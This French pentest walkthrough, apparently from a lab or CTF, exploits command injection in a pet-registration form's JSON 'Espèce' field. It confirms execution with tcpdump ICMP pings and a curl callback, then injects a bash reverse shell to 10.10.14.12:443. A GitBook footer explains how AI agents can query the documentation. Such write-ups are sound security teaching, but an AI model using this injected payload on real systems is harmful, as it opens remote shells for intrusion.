> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# RCE JSON

<figure><img src="/files/160d140d34c8c48059cc72cd4830a6ceb3f1ac0e" alt=""><figcaption></figcaption></figure>

Nous avons la possibilité d'ajouter des "pets" avec leurs espèces, ce qui permet une injection JSON.

<figure><img src="/files/0485a937e5962dd01654c3e7ba0d9e140cc587fb" alt=""><figcaption></figcaption></figure>

Nous interceptons les requêtes avec Burp Suite et essayons de manipuler la requête en ajoutant une entrée avec le nom et l'espèce :

<figure><img src="/files/d0e0d5acde3440f1089c54c0a33869d50a50f0bc" alt=""><figcaption></figcaption></figure>

Cette entrée est interprétée, ce qui permet une injection.

```json
{
    "Nom": "jordan",
    "Espèce": "jordan"
}

```

<figure><img src="/files/7a23d4846786cfbaeb82ea61b2a7179d4a7e3a0c" alt=""><figcaption></figcaption></figure>

Nous mettons en écoute les paquets ICMP pour observer les communications et tester des injections de commandes :

```bash
sudo tcpdump -i tun0 icmp

```

Nous recevons un ping en retour, ce qui confirme la possibilité d'exécution de commandes à distance.

<figure><img src="/files/89478fb7ab6f22ffa079c7f03e61e68cd9649ffe" alt=""><figcaption></figcaption></figure>

Ensuite, nous envoyons une requête avec `curl` vers notre serveur Python et recevons également une requête, ce qui confirme la vulnérabilité d'exécution de code à distance.

```bash
{
    "Nom": "jordan",
    "Espèce": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}

```

<figure><img src="/files/b975e409849b8332debe91c2d25ea2d4cfacb4e7" alt="" width="502"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
